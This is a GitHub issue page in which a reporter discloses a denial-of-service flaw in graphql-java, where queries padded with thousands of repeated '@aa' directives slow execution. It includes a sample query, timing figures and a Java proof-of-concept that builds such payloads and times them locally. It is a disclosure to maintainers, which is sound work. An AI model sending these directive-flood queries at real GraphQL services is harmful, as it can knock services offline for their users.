Title: Denial of Service via Directive overloading · Issue #2888 · graphql-java/graphql-java · GitHub
Open Graph Title: Denial of Service via Directive overloading · Issue #2888 · graphql-java/graphql-java
X Title: Denial of Service via Directive overloading · Issue #2888 · graphql-java/graphql-java
Description: Hello team, I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). Query example: query {__typename @aa} I get errors by implemented...
Open Graph Description: Hello team, I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). Query example: query {__t...
X Description: Hello team, I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). Query example: query ...
Opengraph URL: https://github.com/graphql-java/graphql-java/issues/2888
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Denial of Service via Directive overloading","articleBody":"Hello team,\r\nI've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). \r\nQuery example:\r\n\r\n```\r\nquery {__typename @aa}\r\n```\r\n\r\nI get errors by implemented security mechanisms, but these mechanisms don't help in this case:\r\n- https://github.com/graphql-java/graphql-java/pull/2549\r\n- https://github.com/graphql-java/graphql-java/pull/2553\r\n\r\nMaxQueryDepthInstrumentation and MaxQueryComplexityInstrumentation don't solve the issue as well.\r\n\r\n\r\nQuery execution time increases by adding more directives:\r\n```\r\n5000 directives: 445 ms\r\n10000 directives: 732 ms\r\n15000 directives: 1164 ms\r\n20000 directives: 1671 ms\r\n25000 directives: 2159 ms\r\n30000 directives: 2661 ms\r\n35000 directives: 3171 ms\r\n40000 directives: 3687 ms\r\n45000 directives: 4224 ms\r\n50000 directives: 4711 ms\r\n55000 directives: 5227 ms\r\n60000 directives: 5749 ms\r\n65000 directives: 6297 ms\r\n70000 directives: 6788 ms\r\n```\r\n\r\nThe code snippet for testing:\r\n```java\r\nimport graphql.ExecutionInput;\r\nimport graphql.ExecutionResult;\r\nimport graphql.GraphQL;\r\nimport graphql.schema.GraphQLSchema;\r\nimport graphql.schema.StaticDataFetcher;\r\nimport graphql.schema.idl.RuntimeWiring;\r\nimport graphql.schema.idl.SchemaGenerator;\r\nimport graphql.schema.idl.SchemaParser;\r\nimport graphql.schema.idl.TypeDefinitionRegistry;\r\n\r\nimport static graphql.schema.idl.RuntimeWiring.newRuntimeWiring;\r\n\r\npublic class HelloWorld {\r\n\r\n static Integer STEP = 5000;\r\n static Integer CHECKS_AMOUNT = 15;\r\n\r\n public static void main(String[] args) {\r\n String schema = \"type Query{hello: String}\";\r\n\r\n SchemaParser schemaParser = new SchemaParser();\r\n TypeDefinitionRegistry typeDefinitionRegistry = schemaParser.parse(schema);\r\n\r\n RuntimeWiring runtimeWiring = newRuntimeWiring()\r\n .type(\"Query\", builder -\u003e builder.dataFetcher(\"hello\", new StaticDataFetcher(\"world\")))\r\n .build();\r\n\r\n SchemaGenerator schemaGenerator = new SchemaGenerator();\r\n GraphQLSchema graphQLSchema = schemaGenerator.makeExecutableSchema(typeDefinitionRegistry, runtimeWiring);\r\n\r\n GraphQL build = GraphQL.newGraphQL(graphQLSchema).build();\r\n\r\n String payload = \"@aa\";\r\n\r\n for (int i = 1; i \u003c CHECKS_AMOUNT; i++) {\r\n\r\n String query = \"query {__typename \" + payload.repeat(i * STEP) + \"}\";\r\n ExecutionInput executionInput = ExecutionInput.newExecutionInput().query(query).build();\r\n\r\n long startTime = System.nanoTime();\r\n\r\n ExecutionResult executionResult = build.execute(executionInput);\r\n\r\n long endTime = System.nanoTime();\r\n long duration = (endTime - startTime);\r\n\r\n System.out.println(String.format(\"%d directives: %d ms\", i* STEP, duration / 1000000));\r\n }\r\n }\r\n}\r\n```\r\n","author":{"url":"https://github.com/act1on3","@type":"Person","name":"act1on3"},"datePublished":"2022-07-18T10:11:37.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":6},"url":"https://github.com/2888/graphql-java/issues/2888"}
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:e5cd498e-68a8-e9be-c0d9-93e664acb3e3 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | CD0A:8E369:A0B7A4:D0072C:6A600907 |
| html-safe-nonce | a26c38c837017657857bcd2bfb79f9d9119831e3302fabc97ddc800d5218f969 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDRDBBOjhFMzY5OkEwQjdBNDpEMDA3MkM6NkE2MDA5MDciLCJ2aXNpdG9yX2lkIjoiODAwOTI4NDIzODMyMjk2MDY0NyIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9 |
| visitor-hmac | ad4797ad434e29a460ac40db65b4b190d84ad8e41bdbf59bc8fe7d9ccf8f0888 |
| hovercard-subject-tag | issue:1307718616 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/graphql-java/graphql-java/2888/issue_layout |
| twitter:image | https://opengraph.githubassets.com/b55716ae41b03ccc6ad62d861515703927ce46aa8c51c6c036da7793d59a0cb8/graphql-java/graphql-java/issues/2888 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/b55716ae41b03ccc6ad62d861515703927ce46aa8c51c6c036da7793d59a0cb8/graphql-java/graphql-java/issues/2888 |
| og:image:alt | Hello team, I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik). Query example: query {__t... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | act1on3 |
| hostname | github.com |
| expected-hostname | github.com |
| None | 5789899e92b20db289de946d86eb20bf5c9626276695d68f58a8c47cdda699b7 |
| turbo-cache-control | no-preview |
| go-import | github.com/graphql-java/graphql-java git https://github.com/graphql-java/graphql-java.git |
| octolytics-dimension-user_id | 14289921 |
| octolytics-dimension-user_login | graphql-java |
| octolytics-dimension-repository_id | 38602457 |
| octolytics-dimension-repository_nwo | graphql-java/graphql-java |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 38602457 |
| octolytics-dimension-repository_network_root_nwo | graphql-java/graphql-java |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 6ddc048ddf80664b9b33547b619db10313c482f1 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
Links:
Viewport: width=device-width